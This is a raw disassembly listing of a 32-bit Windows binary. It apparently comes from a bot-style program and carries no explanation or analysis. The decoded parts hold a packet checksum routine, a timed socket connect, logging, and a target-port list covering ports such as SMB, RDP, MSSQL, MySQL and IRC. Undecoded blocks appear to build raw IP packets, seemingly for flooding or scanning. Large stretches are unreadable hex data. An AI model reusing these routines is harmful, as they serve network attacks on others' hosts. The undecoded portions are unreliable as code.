dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h, 89008B00h
dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h
dd 5415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h
dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch
dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh
dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h
dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh, 0E2458966h
dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h
dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh
dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh
dd 4CB00C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o
dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h
dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h
dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CAFF4h
dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch, 0FFFBC085h
dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h
dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
dd 535959FFh, 0C102E890h, 4D8D022Ah, 51046ACCh, 5053026Ah
dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h
dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h
dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh
dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22AC084h, 0FDC4858Dh
dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
dd 0E8905359h, 22AC014h, 458D106Ah, 0E85053BCh, 7598h
dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAF74h, 0BE458966h
dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h
dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh
dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h
dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch
dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh
dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AF7015FFh
dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h
dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch
dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h
dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h
dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h
dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
dd 4CAF74h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h
dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 7415FF06h
dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah
dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh
dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h, 858D5000h
dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh
dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h
dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 19E85359h
dd 90022ABDh, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h
dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh
dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
dd 0E8535959h, 22ABC88h
db 90h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+0Ch], esi
jle short loc_4143A5
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414397: ; CODE XREF: ___:0041439Fj
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414397
pop edi
cmp eax, 1
loc_4143A5: ; CODE XREF: ___:0041438Bj
jnz short loc_4143B2
mov al, [edx]
mov [ebp+0Ch], al
movzx eax, word ptr [ebp+0Ch]
add esi, eax
loc_4143B2: ; CODE XREF: ___:loc_4143A5j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
; ---------------------------------------------------------------------------
byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o
dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh
dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh
dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h
dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h
dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022ABBh, 0EC81EC8Bh
dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h
dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h
dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0C4ACE800h, 2B900225h
dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h
dd 4CAF18h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h
dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D57068h
dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 868FFFFh
dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h
dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h
dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h
dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h
dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h, 60858DFFh
dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h, 0FC45FF00h
dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
leave
retn
; ---------------------------------------------------------------------------
word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo
dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h
dd 214h, 0EC858D50h, 68FFFFFBh, 435EE4h, 7160E850h, 858D0000h
dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh
dd 90006A14h, 2AB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h
dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h
dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh
dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h, 4CAFB415h
dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h
dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h
dd 2DC45C7h, 7415FF00h, 66004CAFh, 8DDE4589h, 90500C45h
dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah
dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7283Dh, 6A527500h, 45895810h
dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h
dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D57068ACh
dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h
dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h
dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch
dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h
dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h
dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h, 223D8966h
dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h
dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch
dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h, 246852FBh
dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
dd 4CE308h, 0FFF475FFh, 4CAFD815h, 0FFF88300h, 0A5840Fh
dd 45FF0000h, 0BFB0E8FCh, 2B900225h, 0D233F845h, 3E8B9h
dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h, 858DFC75h
dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h
dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h
dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch, 0EB00435Fh
db 0ACh
byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o
dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh
dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0BDE89056h
dd 5F022AB4h
; ---------------------------------------------------------------------------
pop esi
push ebp
mov ebp, esp
sub esp, 210h
and dword ptr [ebp-4], 0
cmp dword ptr [ebp+14h], 0
push esi
push edi
jnz short loc_414B6E
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 71AB3E5Dh
nop
jmp loc_414C2A
; ---------------------------------------------------------------------------
loc_414B6E: ; CODE XREF: ___:00414B58j
mov esi, [ebp+8]
push 1
pop edi
lea eax, [ebp-8]
push eax
push 8004667Eh
push esi
mov [ebp-8], edi
call near ptr 71AB155Ah
nop
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push esi
call dword_4CAF1C
push dword ptr [ebp+14h]
lea eax, [ebp-210h]
mov [ebp-108h], esi
mov [ebp-10Ch], edi
push 0
push eax
lea eax, [ebp-10Ch]
mov [ebp-20Ch], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp-210h], edi
call dword_4CAF5C
test eax, eax
jnz short loc_414BD2
or eax, 0FFFFFFFFh
jmp short loc_414C2A
; ---------------------------------------------------------------------------
loc_414BD2: ; CODE XREF: ___:00414BCBj
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_414BDD
loc_414BD9: ; CODE XREF: ___:00414BFDj
; ___:00414C21j
mov eax, edi
jmp short loc_414C2A
; ---------------------------------------------------------------------------
loc_414BDD: ; CODE XREF: ___:00414BD7j
lea eax, [ebp-10Ch]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_414BFF
lea eax, [ebp-210h]
push eax
push esi
call sub_426756
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_414BD9
loc_414BFF: ; CODE XREF: ___:00414BECj
lea eax, [ebp+8]
mov dword ptr [ebp+8], 4
push eax
lea eax, [ebp-4]
push eax
push 1007h
push 0FFFFh
push esi
nop
call near ptr 71AB4122h
cmp eax, edi
jz short loc_414BD9
mov eax, [ebp-4]
neg eax
sbb eax, eax
loc_414C2A: ; CODE XREF: ___:00414B69j
; ___:00414BD0j ...
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
dw 8B55h
dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh
dd 26A5104h, 98A35053h, 0FF004CE7h, 4CAF5415h, 0A8358B00h
dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh
dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h
dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h
dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h
dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h
dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h
dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h
dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CAFF415h
dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch
dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h
dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh, 6A85E8h
dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h
dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h, 6A46h
dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h
dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h
dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h
dd 0A366286Ah, 4CE73Ch, 0AF7415FFh, 0D80004Ch, 4CE740h
dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh
dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh
dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh
dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h
dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h
dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh
dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh
dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h
dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh
dd 7905C600h, 6004CE7h, 0AF7415FFh, 0A366004Ch, 4CE77Ah
dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh
dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch
dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h
dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h
dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h
dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h, 4CBE5905h
dd 0BF004CE7h, 4CE77Ch, 421D8966h, 66004CE7h, 0E75C1D89h
dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h
dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h
dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h, 286A5300h
dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h
dd 0F000003h, 0FFFF238Ch, 0B904E8FFh, 2B900225h, 0D233F445h
dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 23BD9EE8h
dd 0FDC2E902h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43D130
mov edi, 0B8h
loc_4150C8: ; CODE XREF: sub_4150B4+33j
cmp byte ptr [esi], 0
jz short loc_4150EB
push [ebp+arg_0]
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4150EB
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43DCB0
jl short loc_4150C8
jmp short loc_41512D
; ---------------------------------------------------------------------------
loc_4150EB: ; CODE XREF: sub_4150B4+17j
; sub_4150B4+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43D130[esi]
push ebx
call sub_41B590
push 17h
push [ebp+arg_0]
push ebx
call sub_41B5F0
push 9Fh
lea eax, dword_43D148[esi]
push [ebp+arg_4]
push eax
call sub_41B5F0
add esp, 24h
inc dword_429230
pop ebx
loc_41512D: ; CODE XREF: sub_4150B4+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_4150B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_436148
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
xor edi, edi
mov esi, offset dword_43D130
loc_41515E: ; CODE XREF: sub_415134+72j
cmp byte ptr [esi], 0
jz short loc_415199
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_436134
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41B980
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 2Ch
loc_415199: ; CODE XREF: sub_415134+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43DCB0
jl short loc_41515E
pop edi
pop esi
leave
retn
sub_415134 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151AC proc near ; CODE XREF: ___:004015A5p
; ___:00401629p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call near ptr 2750000h
nop
mov ebx, offset dword_4D2B9C
mov edi, 80h
mov esi, offset dword_4CEB9C
loc_4151CE: ; CODE XREF: sub_4151AC+3Dj
cmp byte ptr [ebx], 0
jz short loc_4151E5
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41B5F0
add esp, 0Ch
loc_4151E5: ; CODE XREF: sub_4151AC+25j
sub ebx, edi
cmp ebx, esi
jge short loc_4151CE
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41B980
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_4151AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415220 proc near ; CODE XREF: sub_4017ED+F7p
; sub_401ACD:loc_402077p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41C190
lea eax, [ebp+var_80]
push eax
call sub_4151AC
add esp, 14h
leave
retn
sub_415220 endp
; =============== S U B R O U T I N E =======================================
sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4CEB9C
xor ecx, ecx
loc_415253: ; CODE XREF: sub_41524C+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D2B9C
jl short loc_415253
cmp [esp+arg_C], ecx
jnz short loc_415281
push ecx
push [esp+4+arg_8]
push offset dword_436194
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409A72
add esp, 14h
loc_415281: ; CODE XREF: sub_41524C+19j
push offset dword_436180
call sub_4151AC
pop ecx
retn
sub_41524C endp
; ---------------------------------------------------------------------------
byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
